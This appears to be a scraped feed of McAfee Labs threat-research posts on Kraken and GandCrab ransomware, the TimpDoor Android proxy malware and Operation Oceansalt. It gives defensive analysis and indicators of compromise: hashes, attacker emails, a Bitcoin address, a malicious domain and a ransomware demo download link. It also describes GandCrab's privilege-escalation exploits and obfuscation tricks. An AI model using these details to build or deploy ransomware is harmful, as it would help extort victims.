By extracting the config files from all the versions, we built the following overview of features. (The √ means the feature is present.)

All the versions we examined mostly contain the same options, changing only in some of them the antivirtual protection and antiforensic capabilities. The latest version, Kraken 2.0.7, changed its configuration scheme. We will cover that later in this article.

Other differences in Kraken’s config file include the list of countries excluded from encryption. The standouts are Brazil and Syria, which were not named in the original forum advertisement.

Having an exclusion list is a common method of cybercriminals to avoid prosecution. Brazil’s addition to the list in Version 1.5 suggests the involvement of a Brazilian affiliate. The following table shows the exclusion list by country and version. (The √ means the country appears on the list.)

All the Kraken releases have excluded the same countries, except for Brazil, Iran, and Syria.

Regarding Syria: We believe that the Kraken actors have had the same change of heart as the actors behind GandCrab, who recently released decryption keys for Syrian victims after a tweet claimed they had no money to pay the ransoms.

 

GandCrab’s change of heart regarding Syrian victims.

Version 2.0.7

The most recent version we examined comes with a different configuration scheme:

This release has more options. We expect this malware will be more configurable than other active versions.

APIs and statistics

One of the new features is a public API to track the number of victims:

Public API to track the number of victims. Source: Bleeping Computer.

Another API is a hidden service to track certain statistics:

 

The Onion URL can be found easily in the binary:

The endpoint and browser Kraken uses is hardcoded in the config file:

Kraken gathers the following information from every infection:

  • Status
  • Operating system
  • Username
  • Hardware ID
  • IP address
  • Country
  • City
  • Language
  • HDCount
  • HDType
  • HDName
  • HDFull
  • HDFree
  • Privilege
  • Operate
  • Beta

Kraken infrastructure

In Versions 1.2 through 2.04 Kraken contacts blasze[.]tk to download additional files. The site has Cloudflare protection to mitigate against DDoS attacks:

The domain is not accessible from many countries:

 

McAfee coverage

McAfee detects this threat with the following signatures:

  • Artemis!09D3BD874D9A
  • Artemis!475A697872CA
  • Artemis!71F510C40FE5
  • Artemis!99829D5483EF
  • Artemis!CE7606CFDFC0
  • Artemis!F1EE32E471A4
  • RDN/Generic.dx
  • RDN/Generic.tfr
  • RDN/Ransom

Indicators of compromise

Kraken loader hashes

  • 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd
  • 53a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543

Kraken ransomware samples hashes

  • 047de76c965b9cf4a8671185d889438e4b6150326802e87470d20a3390aad304
  • 0b6cd05bee398bac0000e9d7032713ae2de6b85fe1455d6847578e9c5462391f
  • 159b392ec2c052a26d6718848338011a3733c870f4bf324863901ec9fbbbd635
  • 180406f298e45f66e205bdfb2fa3d8f6ead046feb57714698bdc665548bebc95
  • 1d7251ca0b60231a7dbdbb52c28709a6533dcfc4a339f4512955897c7bb1b009
  • 2467d42a4bdf74147ea14d99ef51774fec993eaef3c11694125a3ced09e85256
  • 2b2607c435b76bca395e4ef4e2a1cae13fe0f56cabfc54ee3327a402c4ee6d6f
  • 2f5dec0a8e1da5f23b818d48efb0b9b7065023d67c617a78cd8b14808a79c0dc
  • 469f89209d7d8cc0188654e3734fba13766b6d9723028b4d9a8523100642a28a
  • 4f13652f5ec4455614f222d0c67a05bb01b814d134a42584c3f4aa77adbe03d0
  • 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd
  • 61396539d9392ae08b2c9836dd19a58efb541cf0381ea6fef28637aae63084ed
  • 67db0f639d5f4c021efa9c2b1db3b3bc85b2db920859dbded5fed661cc81282d
  • 713afc925973a421ff9328ff02c80d38575fbadaf27a1db0063b3a83813e8484
  • 7260452e6bd05725074ba92b9dc8734aec12bbf4bbaacd43eea9c8bbe591be27
  • 7747587608db6c10464777bd26e1abf02b858ef0643ad9db8134e0f727c0cd66
  • 7e0ee0e707db426eaf25bd0924631db969bb03dd9b13addffbcc33311a3b9aa7
  • 7fb597d2c8ed8726b9a982b2a84d1c9cc2af65345588d42dd50c8cebeee03dff
  • 85c75ac7af9cac6e2d6253d7df7a0c0eec6bdd71120218caeaf684da65b786be
  • 8a0320f3fee187040b1922c6e8bdf5d6bacf94e01b90d65e0c93f01e2abd1e0e
  • 97ed99508e2fae0866ad0d5c86932b4df2486da59fc2568fb9a7a4ac0ecf414d
  • 9c88c66f44eba049dcf45204315aaf8ba1e660822f9e97aec51b1c305f5fdf14
  • a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215
  • b639e26a0f0354515870ee167ae46fdd9698c2f0d405ad8838e2e024eb282e39
  • cae152c9d91c26c1b052c82642670dfb343ce00004fe0ca5d9ebb4560c64703b
  • d316611df4b9b68d71a04ca517dbd94615a77a87f7a8c270d100ef9729a4e122
  • e39d5f664217bda0d95d126cff58ba707d623a58a750b53c580d447581f15af6
  • f7179fcff00c0ec909b615c34e5a5c145fedf8d9a09ed04376988699be9cc6d5
  • f95e74edc7ca3f09b582a7734ad7a547faeb0ccc9a3370ec58b9a27a1a6fd4a7
  • fea3023f06d0903a05096f1c9fc7113bea50b9923a3c024a14120337531180cd
  • ff556442e2cc274a4a84ab968006350baf9897fffd680312c02825cc53b9f455

Authentihash

  • 83b7ed1a0468394fc9661d07b9ad1b787f5e5a85512ae613f2a04a7442f21587
  • b821eb60f212f58b4525807235f711f11e2ef285630604534c103df74e3da81a
  • 0c4e0359c47a38e55d427894cc0657f2f73136cde9763bbafae37c916cebdd2a

Imphash

  • f34d5f2d4577ed6d9ceec516c1f5a744

Jabber

  • thiswaskraken@exploit[.]im

Email addresses found in the binaries and configuration files

  • BM-2cUEkUQXNffBg89VwtZi4twYiMomAFzy6o@bitmessage(.)ch
  • BM-2cWdhn4f5UyMvruDBGs5bK77NsCFALMJkR@bitmessage(.)ch
  • nikolatesla@cock(.)li
  • nikolateslaproton@protonmail(.)com
  • oemfnwdk838r@mailfence(.)com
  • onionhelp@memeware(.)net
  • powerhacker03@hotmail(.)com
  • shfwhr2ddwejwkej@tutanota(.)com
  • shortmangnet@420blaze(.)it
  • teamxsupport@protonmail[.]com

Bitcoin address

  • 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH

PDBs found in the loader samples

  • C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb

Associated Filenames

  • C:\ProgramData\Safe.exe C:\ProgramData\EventLog.txt
  • # How to Decrypt Files.html
  • Kraken.exe
  • Krakenc.exe
  • Release.bat
  • <random>.bat
  • Sdelete.exe
  • Sdelete64.exe
  • <random>.exe
  • CabXXXX.exe
  • TarXXXX.exe
  • SUPERAntiSpywares.exe
  • KrakenCryptor.exe
  • 73a94429b321dfc_QiMAWc2K2W.exe
  • auService.exe
  • file.exe
  • bbdefac4e59207._exe
  • Build.exe

Ransomware demo version

  • https://www76.zippyshare.com/v/5fMpcbdo/file[.]html

Kraken Unique Key

MITRE ATT&CK™ techniques

  • Data compressed
  • Email collection
  • File and directory
  • File deletion
  • Hooking
  • Kernel modules and extensions
  • Modify registry
  • Process injection
  • Query registry
  • Remote system
  • Security software
  • Service execution
  • System information
  • System time

Yara rules

The McAfee Advanced Threat Research team created Yara rules to detect the Kraken ransomware. The rules are available on our Github repository.

 

The post Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/feed/ 0
Android/TimpDoor Turns Mobile Devices Into Hidden Proxies https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/android-timpdoor-turns-mobile-devices-into-hidden-proxies/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/android-timpdoor-turns-mobile-devices-into-hidden-proxies/#respond Wed, 24 Oct 2018 13:00:23 +0000 https://securingtomorrow.mcafee.com/?p=92110 The McAfee Mobile Research team recently found an active phishing campaign using text messages (SMS) that tricks users into downloading and installing a fake voice-message app which allows cybercriminals to use infected devices as network proxies without users’ knowledge. If the fake application is installed, a background service starts a Socks proxy that redirects all […]

The post Android/TimpDoor Turns Mobile Devices Into Hidden Proxies appeared first on McAfee Blogs.

]]>
The McAfee Mobile Research team recently found an active phishing campaign using text messages (SMS) that tricks users into downloading and installing a fake voice-message app which allows cybercriminals to use infected devices as network proxies without users’ knowledge. If the fake application is installed, a background service starts a Socks proxy that redirects all network traffic from a third-party server via an encrypted connection through a secure shell tunnel—allowing potential access to internal networks and bypassing network security mechanisms such as firewalls and network monitors. McAfee Mobile Security detects this malware as Android/TimpDoor.

Devices running TimpDoor could serve as mobile backdoors for stealthy access to corporate and home networks because the malicious traffic and payload are encrypted. Worse, a network of compromised devices could also be used for more profitable purposes such as sending spam and phishing emails, performing ad click fraud, or launching distributed denial-of-service attacks.

Based on our analysis of 26 malicious APK files found on the main distribution server, the earliest TimpDoor variant has been available since March, with the latest APK from the end of August. According to our telemetry data, these apps have infected at least 5,000 devices. The malicious apps have been distributed via an active phishing campaign via SMS in the United States since at least the end of March. McAfee notified the unwitting hosts of the phishing domains and the malware distribution server; at the time of writing this post we have confirmed that they are no longer active.

Campaign targets North America

Since at least the end of March users in the United States have reported suspicious text messages informing them that they have two voice messages to review and tricking them into clicking a URL to hear them:

Figure 1. User reporting a text that required downloading a fake voice app. Source 800notes.com.

Figure 2. An August 9 text. Source: findwhocallsyou.com.

Figure 3. An August 26 text. Source: 800notes.com.

If the user clicks on one of these links in a mobile device, the browser displays a fake web page that pretends to be from a popular classified advertisement website and asks the user to install an application to listen to the voice messages:

Figure 4. A fake website asking the user to download a voice app.

In addition to the link that provides the malicious APK, the fake site includes detailed instructions on how to disable “Unknown Sources” to install the app that was downloaded outside Google Play.

Fake voice app

When the user clicks on “Download Voice App,” the file VoiceApp.apk is downloaded from a remote server. If the victim follows the instructions, the following screens appear to make the app look legitimate:

Figure 5. Fake voice app initial screens.

The preceding screens are displayed only if the Android version of the infected device is 7.1 or later (API Level 25). If the Android version is earlier, the app skips the initial screens and displays the main fake interface to listen to the “messages”:

Figure 6. The main interface of the fake voice messages app.

Everything on the main screen is fake. The Recents, Saved, and Archive icons have no functionality. The only buttons that work play the fake audio files. The duration of the voice messages does not correspond with the length of the audio files and the phone numbers are fake, present in the resources of the app.

Once the user listens to the fake messages and closes the app, the icon is hidden from the home screen to make it difficult to remove. Meanwhile, it starts a service in the background without user’s knowledge:

Figure 7. Service running in the background.

Socks proxy over SSH

As soon as the service starts, the malware gathers device information: device ID, brand, model, OS version, mobile carrier, connection type, and public/local IP address. To gather the public IP address information, TimpDoor uses a free geolocation service to obtain the data (country, region, city, latitude, longitude, public IP address, and ISP) in JSON format. In case the HTTP request fails, the malware make an HTTP request to the webpage getIP.php of the main control server that provides the value “public_ip.”

Once the device information is collected, TimpDoor starts a secure shell (SSH) connection to the control server to get the assigned remote port by sending the device ID. This port will be later used for remote port forwarding with the compromised device acting as a local Socks proxy server. In addition to starting the proxy server through an SSH tunnel, TimpDoor establishes mechanisms to keep the SSH connection alive such as monitoring changes in the network connectivity and setting up an alarm to constantly check the established SSH tunnel:

Figure 8. An execution thread checking changes in connectivity and making sure the SSH tunnel is running.

To ensure the SSH tunnel is up, TimpDoor executes the method updateStatus, which sends the previously collected device information and local/public IP address data to the control server via SSH.

Mobile malware distribution server

By checking the IP address 199.192.19[.]18, which hosted VoiceApp.apk, we found more APK files in the directory US. This likely stands for United States, considering that the fake phone numbers in the voice app are in the country and the messages are sent from US phone numbers:

Figure 9. APK files in the “US” folder of the main malware distribution server.

According to the “Last modified” dates on the server, the oldest APK in the folder is chainmail.apk (March 12) while the newest is VoiceApp.apk (August 27) suggesting the campaign has run for at least five months and is likely still active.

We can divide the APK files into two groups by size (5.1MB and 3.1MB). The main difference between them is that the oldest use an HTTP proxy (LittleProxy) while the newest (July and August) use a Socks proxy (MicroSocks), which allows the routing of all traffic for any kind of network protocol (not only HTTP)TTp on any port. Other notable differences are the package name, control server URLs, and the value of appVersion in the updateStatus method—ranging from 1.1.0 to 1.4.0.

In addition to the US folder we also found a CA folder, which could stand for Canada.

Figure 10. The “CA” folder on the distribution server.

Checking the files in the CA folder we found that VoiceApp.apk and relevanbest.apk are the same file with appVersion 1.4.0 (Socks proxy server). Octarineiads.apk is version 1.1.0, with an HTTP proxy.

TimpDoor vs MilkyDoor

TimpDoor is not the first malware that turns Android devices into mobile proxies to forward network traffic from a control server using a Socks proxy though an SSH tunnel. In April 2017 researchers discovered MilkyDoor, an apparent successor of DressCode, which was found a year earlier. Both threats were distributed as Trojanized apps in Google Play. DressCode installs only a Socks proxy server on the infected device; MilkyDoor also protects that connection to bypass network security restrictions using remote port forwarding via SSH, just as TimpDoor does. However, there are some relevant differences between TimpDoor and MilkyDoor:

  • Distribution: Instead of being part of a Trojanized app in Google Play, TimpDoor uses a completely fake voice app distributed via text message
  • SSH connection: While MilkyDoor uploads the device and IP address information to a control server to receive the connection details, TimpDoor already has the information in its code. TimpDoor uses the information to get the remote port to perform dynamic port forwarding and to periodically send updated device data.
  • Pure proxy functionality: MilkyDoor was apparently an adware integrator in early versions of the SDK and later added backdoor functionality. TimpDoor’s sole purpose (at least in this campaign) is to keep the SSH tunnel open and the proxy server running in the background without the user’s consent.

MilkyDoor seems to be a more complete SDK, with adware and downloader functionality. TimpDoor has only basic proxy functionality, first using an HTTP proxy and later Socks.

Conclusion

TimpDoor is the latest example of Android malware that turns devices into mobile backdoors—potentially allowing cybercriminals encrypted access to internal networks, which represents a great risk to companies and their systems. The versions found on the distribution server and the simple proxy functionality implemented in them shows that this threat is probably still under development. We expect it will evolve into new variants.

Although this threat has not been seen on Google Play, this SMS phishing campaign distributing TimpDoor shows that cybercriminals are still using traditional phishing techniques to trick users into installing malicious applications.

McAfee Mobile Security detects this threat as Android/TimpDoor. To protect yourselves from this and similar threats, employ security software on your mobile devices and do not install apps from unknown sources.

The post Android/TimpDoor Turns Mobile Devices Into Hidden Proxies appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/android-timpdoor-turns-mobile-devices-into-hidden-proxies/feed/ 0
‘Operation Oceansalt’ Delivers Wave After Wave https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/#respond Thu, 18 Oct 2018 04:01:03 +0000 https://securingtomorrow.mcafee.com/?p=91999 In the latest findings from the McAfee Advanced Threat Research team, we examine an adversary that was not content with a single campaign, but launched five distinct waves adapted to their separate targets.

The post ‘Operation Oceansalt’ Delivers Wave After Wave appeared first on McAfee Blogs.

]]>
A wall eight feet high with three strands of barbed wire is considered sufficient to deter a determined intruder, at least according to the advice offered by the CISSP professional certification. Although physical controls can be part of a multifaceted defense, an electronic attack affords the adversary time to develop the necessary tools to bypass any logical wall set before them. In the latest findings from the McAfee Advanced Threat Research team, we examine an adversary that was not content with a single campaign, but launched five distinct waves adapted to their separate targets. The new report “Operation Oceansalt Attacks South Korea, U.S., and Canada with Source Code from Chinese Hacker Group” analyzes these waves and their victims, primarily in South Korea but with a few in the United States and Canada.

Although one reaction is to marvel at the level of innovation displayed by the threat actor(s), we are not discussing five new, never-before-seen malware variants—rather the reuse of code from implants seen eight years prior. The Oceansalt malware uses large parts of code from the Seasalt implant, which was linked to the Chinese hacking group Comment Crew. The level of reuse is graphically depicted below:

Code Visualization of Recent Oceansalt with Older Seasalt

Oceansalt, 2018.

Seasalt, 2010.

Who is Behind the Oceansalt Attack?

Originally taking the title APT1, the Comment Crew was seen as the threat actor conducting offensive cyber operations against the United States almost 10 years before. The obvious suspect is Comment Crew and, although this may seem a logical conclusion, we have not seen any activity from this group since they were initially exposed. Is it possible that this group has returned and, if so, why target South Korea?

It is possible that the source code developed by Comment Crew has now been used by another adversary. The code to our knowledge, however, has never been made public. Alternatively, this could be a “false flag” operation to suggest that we are seeing the re-emergence of Comment Crew. Creating false flags is a common practice.

What Really Matters

It is likely that reactions to this research will focus on debating the identity of the threat actor. Although this question is of great interest, answering it will require more than the technical evidence that private industry can provide. These limitations are frustrating. However, we can focus on the indicators of compromise presented in this report to detect, correct, and protect our systems, regardless of the source of these attacks.

Perhaps more important is the possible return of a previously dormant threat actor and, further, why should this campaign occur now? Regardless of whether this is a false flag operation to suggest the rebirth of Comment Crew, the impact of the attack is unknown. However, one thing is certain. Threat actors have a wealth of code available to leverage new campaigns, as previous research from the Advanced Threat Research team has revealed. In this case we see that collaboration not within a group but potentially with another threat actor—offering up considerably more malicious assets. We often talk about partnerships within the private and public sector as the key to tackling the cybersecurity challenges facing society. The bad actors are not putting these initiatives on PowerPoint slides and marketing material; they are demonstrating that partnerships can suit their ends, too.

The post ‘Operation Oceansalt’ Delivers Wave After Wave appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/feed/ 0
Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/#respond Wed, 10 Oct 2018 23:29:14 +0000 https://securingtomorrow.mcafee.com/?p=91881 The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect […]

The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

]]>
The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect customers from known variants of this threat.

The GandCrab authors have moved quickly to improve the code and have added comments to provoke the security community, law enforcement agencies, and the NoMoreRansom organization. Despite the agile approach of the developers, the coding is not professional and bugs usually remain in the malware (even in Version 5.0.2), but the speed of change is impressive and increases the difficulty of combating it.

The group behind GandCrab has achieved cult status in underground forums; the authors are undoubtedly confident and have strong marketing skills, but flawless programming is not one of their strengths.

Underground alliances

On September 27, the GandCrab crew announced Version 5 with the same showmanship as its earlier versions. GandCrab ransomware has gained a lot of attention from security researchers as well as the underground. The developers market the affiliate program like a “members-only club” and new affiliates are lining up to join, in the hope of making easy money through the large-scale ransomware extortion scheme.

The prospect of making money not only attracts new affiliates, but also leads to the formation of new alliances between GandCrab and other criminal services that strengthen the malware’s supply and distribution networks. One of these alliances became obvious during Version 4, in which the ransomware started being distributed through the new Fallout exploit kit. This alliance was again emphasized in the GandCrab Version 5 announcement, as the GandCrab crew openly endorsed FalloutEK.

The GandCrab Version 5 announcement.

With Version 5, yet another alliance with a criminal service has been formed. The malware crypter service NTCrypt announced that it is partnering with the GandCrab crew. A crypter service provides malware obfuscation to evade antimalware security products.

The NTCrypt-GandCrab partnership announcement offering a special price for GandCrab users.

The partnership between GandCrab and NTCrypt was established in a novel way. At the end of September, the GandCrab crew started a “crypt competition” on a popular underground forum to find a new crypter service they could partner with. NTCrypt applied and eventually won the competition.

The “crypt competition” announcement.

This novel approach emphasizes once more the cult status GandCrab has in the underground community. For a criminal business such as GandCrab, building these alliances makes perfect sense: They increase the ease of operation and a trusted affiliate network minimizes their risk exposure by allowing them to avoid less-trusted suppliers and distributors.

For the security community it is worrisome to see that GandCrab’s aggressive marketing strategy seems to be paying off. It is generating a strong influx of criminal interest and allows the GandCrab crew to form alliances with other essential services in the cybercriminal supply chain.

GandCrab overview

GandCrab Version 5 uses several mechanisms to infect systems. The following diagram shows an overview of GandCrab’s behavior.

GandCrab Version 5 Infection

Entry vector

GandCrab uses several entry vectors:

  • Remote desktop connections with weak security or bought in underground forums
  • Phishing emails with links or attachments
  • Trojanized legitimate programs containing the malware, or downloading and launching it
  • Exploits kits such as RigEK and others such as FalloutEK
  • PowerShell scripts or within the memory of the PowerShell process (the later mainly in Version 5.0.2)
  • Botnets such as Phorpiex (an old botnet that spread not only this malware but many others)

The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them. The developer requires payment in cryptocurrency, primarily Dash (or Bitcoin in some older versions), because it is complex to track and quick to receive the payment.

The malware is usually, but not always, packed. We have seen variants in .exe format (the primary form) along with DLLs. GandCrab is effectively ransomware as a service; its operators can choose which version they want.

Version 5.0

This version has two releases. The first works only on Windows 7 or later due to a big mistake in the compiling time. Version 5.0 carries two exploits that try to elevate privileges. It checks the version of the operating system and the TokenIntegrityLevel class of the process. If the SID Subauthority is SECURITY_MANDATORY_LOW_RID (0x1000), it tries to execute the exploits if it also passed one previous check of a mutex value.

One release is the exploit released in August on Twitter and GitHub by the hacker “SandboxEscaper.” The original can be found at this link. The Twitter handle for this hacker is https://twitter.com/sandboxescaper.

This exploit tries to use a problem with the Task System in Windows when the operating system improperly handles calls to an advanced local procedure call.

The GandCrab authors claim there is no CVE of this exploit, but that is incorrect. It falls under CVE-2018-8440. This exploit can affect versions Windows 7 through Windows 10 Server. More information about this exploit can be found at this link.

In the first release of Version 5.0, the malware authors wrote the code exploit using normal calls to the functions. Thus at compiling time the binary has the IAT filled with the DLL needed for some calls. This DLL does not exist in Windows Vista and XP, so the malware fails to run in these systems, showing an error.

Import of xpsprint.dll that will not run on Windows XP or Vista.

The exploit using direct calls.

This release published an HTML file after encrypting the user’s files, but this file was faulty because it did not always have the information needed to decrypt the user’s files.

The second release uses dynamic calls and obfuscates the strings of the exploit, as shown in the previous image. (Earlier they were in plain text.)

The exploit with dynamic calls and obfuscated strings.

The second exploit is covered under CVE-2018-8120, which in Windows 7, Windows Server 2008 R2 and Windows Server 2008 allows an elevation of privileges from the kernel. Thanks to a faulty object in the token of the System process, changing this token in the malware results in executing the malware with System privileges.

Executing the exploit CVE-2018-8120.

You can read more about this exploit on mcafee.com.

The malware checks the version of the operating system and type of user and whether it can get the token elevation information of its own process before employing the use of exploits. In some cases, it fails to infect. For example, in Windows XP the second release of Version 5 runs but does not encrypt the files. (We thank fellow researcher Yassine Lemmou, who shared this information with us.)

We and Lemmou know where the problem is in Version 5.0.2. A few changes to the registry could make the malware run correctly, but we do not want to help the malware authors fix their product. Even though GandCrab’s authors quickly repair mistakes as they are pointed out, they still fail to find some of the basic errors by themselves. (McAfee has had no contact with GandCrab’s developers.)

The second release writes a random extension of five letters instead of using the normal .CRAB or .KRAB extension seen in previous versions. The malware keeps this information as binary data in a new registry entry in the subkey “ext_data\data” and in the value entry of “ext.”

A new registry entry to hold the random extension.

The malware tries creating this new entry in the root key of HKEY_LOCAL_MACHINE. If it cannot—for example, because the user does not have admin rights—it places the entry in the root key HKEY_CURRENT_USER. This entry is deleted in some samples after the files have been encrypted.

Version 5.0.1

This version fixed some internal bugs in the malware but made no other notable changes.

Version 5.0.2

This version changes the random extension length from 5 to 10 characters and fixes some internal bugs. Other bugs remain, however, meaning files cannot always be encrypted.

The latest

This section is based on the latest version of the malware (Version 5.0.2 on October 4), though some elements appear in earlier releases of Version 5. Starting with this version, the malware uses two exploits to try to elevate privileges in the system.

The first exploit uses a dynamic call to the function IsWoW64Process to detect whether the operating system is running in 32 or 64 bits.

The dynamic call to IsWoW64Process with obfuscated strings.

Depending on the result, the malware has two embedded DLLs, encrypted with a simple operation XOR 0x18.

Decrypting the DLL to load with the exploit and fix the header.

The malware authors use a clever trick with fuzzing to avoid detection: The first two bytes of the DLL are trash, something that is later fixed, as we see in the preceding image.

After decryption and loading the exploit, this DLL creates a mutex in the system and some pipes to communicate with the main malware. The malware creates a pipe that the DLL reads later and prepares strings as the mutex string for the DLL.

Preparing the string for the DLL.

The DLL has dummy strings for these strings.

Creating the new mutex and relaunching the process.

This mutex is checked when the malware starts. The function returns a 1 or 0, depending on whether it can open the mutex. Later, this result is checked and if the mutex can be opened the malware will avoid checking the version and will not use the two new exploits to elevate privileges.

Opening the new mutex to check if there is a need to run the exploits.

As with GandCrab Version 4.x and later, the malware later checks the version. If it is Vista or later, it tries to get the “TokenIntegrityLevel” class and relaunch the binary to elevate its privilege with a call to “ShellExecuteExW” with the “runas” application. If the system is Windows XP, the code will avoid that and continue in its normal flow.

This mutex is never created for the main malware; it is created for the DLL loaded using the exploit. To better understand this explanation, this IDA snippet may help:

Explaining the check of mutex and exploits.

This version changes the desktop wallpaper, which is created at runtime and is filled with the extension generated to encrypt the files. (The ransom note text or HTML has the name: <extension_in_uppercase>_DECRYPT. <txt|html>) and the user name of the machine.)

Creating the new wallpaper at runtime.

The username is checked with “SYSTEM.” If the user is “SYSTEM,” the malware puts the name “USER” in the wallpaper.

Checking the name of the user for the wallpaper.

The wallpaper is created in the %TEMP% folder with the name pidor.bmp.

Creating the wallpaper in the temp folder.

Here is an example of strings used in the wallpaper name and to check the name of the user and the format string, whether it is another user, or the final string in the case of SYSTEM user with USER in uppercase.

The name of the wallpaper and special strings.

Finally, the wallpaper is set for any user other than SYSTEM:

Changing the wallpaper.

The malware detects the language of the system and decrypts the strings and writes the correct ransom note in the language of the system.

Coverage

Customers of McAfee gateway and endpoint products are protected against the latest GandCrab versions. Detection names include Ran-Gandcrabv4! and many others.

An independent researcher, Twitter user Valthek, has also created several vaccines. (McAfee has verified that these vaccines are effective.) The version for GandCrab 4.x through 5.0.2 can prevent the files from being encrypted.

For Version 4.x, the deletion of shadow volumes cannot be avoided but at least the files themselves are kept safe.

For Version 5.x, encrypting the files can be avoided but not the creation and changing of the wallpaper, which the malware will still corrupt. The malware cannot create random extensions to encrypt the files but will prepare the string. Running the vaccine a second time removes the wallpaper if it is in the %TEMP% folder.

The vaccine has versions with and without persistence. The version with persistence creates a random filename in a special folder and writes a special random entry in the registry to run each time with the system. In this case, the machine will always be protected against this malware (at least in its current state of October 10, and perhaps in the future).

 

Indicators of compromise

These samples use the following MITRE ATT&CK™ techniques:

  • File deletion
  • System information discovery
  • Execution through API
  • Execution through WMIC
  • Application process discovery: to detect antimalware and security products as well as normal programs
  • Query registry: to get information about keys that the malware needs to create or read
  • Modify registry
  • File and directory discovery: to search for files to encrypt
  • Discovery of network shares to encrypt them
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges
  • Change wallpaper
  • Flood the network with connections
  • Create mutants

Hashes 

  • e168e9e0f4f631bafc47ddf23c9848d7: Version 5.0
  • 6884e3541834cc5310a3733f44b38910: Version 5.0 DLL
  • 2d351d67eab01124b7189c02cff7595f: Version 5.0.2
  • 41c673415dabbfa63905ff273bdc34e9: Version 5.0.2
  • 1e8226f7b587d6cd7017f789a96c4a65: DLL for 32-bit exploit
  • fb25dfd638b1b3ca042a9902902a5ff9: DLL for 64-bit exploit
  • df1a09dd1cc2f303a8b3d5097e53400b: botnet related to the malware (IP 92.63.197.48)

 

The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/feed/ 0
When the Digital Impacts the Physical https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-the-digital-impacts-the-physical/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-the-digital-impacts-the-physical/#respond Tue, 09 Oct 2018 15:00:18 +0000 https://securingtomorrow.mcafee.com/?p=91835 Cyberattacks have always been, well, cyber. Their immediate effects were on our data, our digital information, and our devices…until they weren’t. The interconnected nature of the world and the way it’s built in 2018 has brought us exciting and revolutionary innovations, but it has also been leveraged by hackers to extend the impact of a […]

The post When the Digital Impacts the Physical appeared first on McAfee Blogs.

]]>
Cyberattacks have always been, well, cyber. Their immediate effects were on our data, our digital information, and our devices…until they weren’t. The interconnected nature of the world and the way it’s built in 2018 has brought us exciting and revolutionary innovations, but it has also been leveraged by hackers to extend the impact of a cyberattack beyond the digital sphere into the physical. Pacemakers can be hacked, shocks can be sent to patients remotely. Critical infrastructure can be taken down, rendering cities powerless. Large corporations we trust with our data are violating that trust by collecting our data unknowingly, and even tracking our locations without consent. Cybercrime is no longer just cyber, and it can compromise a lot more than just data.

When you think of one’s well-being, physical health often comes to mind. Hospitals, health care, and medical tools and devices have evolved to become members of an interconnected ecosystem. Many health care systems connect to the internet to operate, the same holds true with numerous medical devices such as pacemakers. But that makes the latter part of the ”Internet of Things,” a growing collection of connected devices which are potentially vulnerable to cyberattack. In fact, there have already been reports of threats to these medical devices. Just last year, the FBI recalled half a million pacemakers, as a crucial flaw was discovered that could expose users to an attack. Additionally, security researchers recently revealed a chain of vulnerabilities in a particular pacemaker brand that an attacker could exploit to control implanted pacemakers remotely and cause physical harm to patients.

Cybercriminals have also set their sights on larger targets when it comes to hacking health care devices and institutions. We’ve seen a handful of hospitals taken offline in recent ransomware attacks, all due to the use of outdated or vulnerable systems. Some of these attacks locked patient data and made proper care unachievable for hours on end.

Hospitals are also not the only type of critical infrastructure that’s been on the victim’s end of a cyberattack. In fact, cybercriminals have recently begun hitting critical infrastructure hard and fast, with dramatic results emerging from their efforts. They’ve infamously put an entire city in the Ukraine out of power for about an hour. Then there was the Schneider Electric hack, in which cybercriminals leveraged a zero-day vulnerability within an industrial plant’s safety system for a cyberattack.

There are also cyber issues that impact our physical safety that don’t even come in the form of an attack. Lately, news has been circulating about big-name companies tracking users’ locations or data, even when certain settings are off or when the user is unaware of the action. Specifically, it was discovered that even if a user disables Location History, Google still tracks users in particular instances — whenever they open up the Maps app, scan the internet for certain things, or receive automatic weather notifications. Even smartwatches have been used recently to record and track kids’ physical location.

Ramifications such as these have changed the nature of privacy, as well as digital and physical safety as we know it. But as the threat landscape is evolving, so is the industry determined to protect innocent users everywhere.

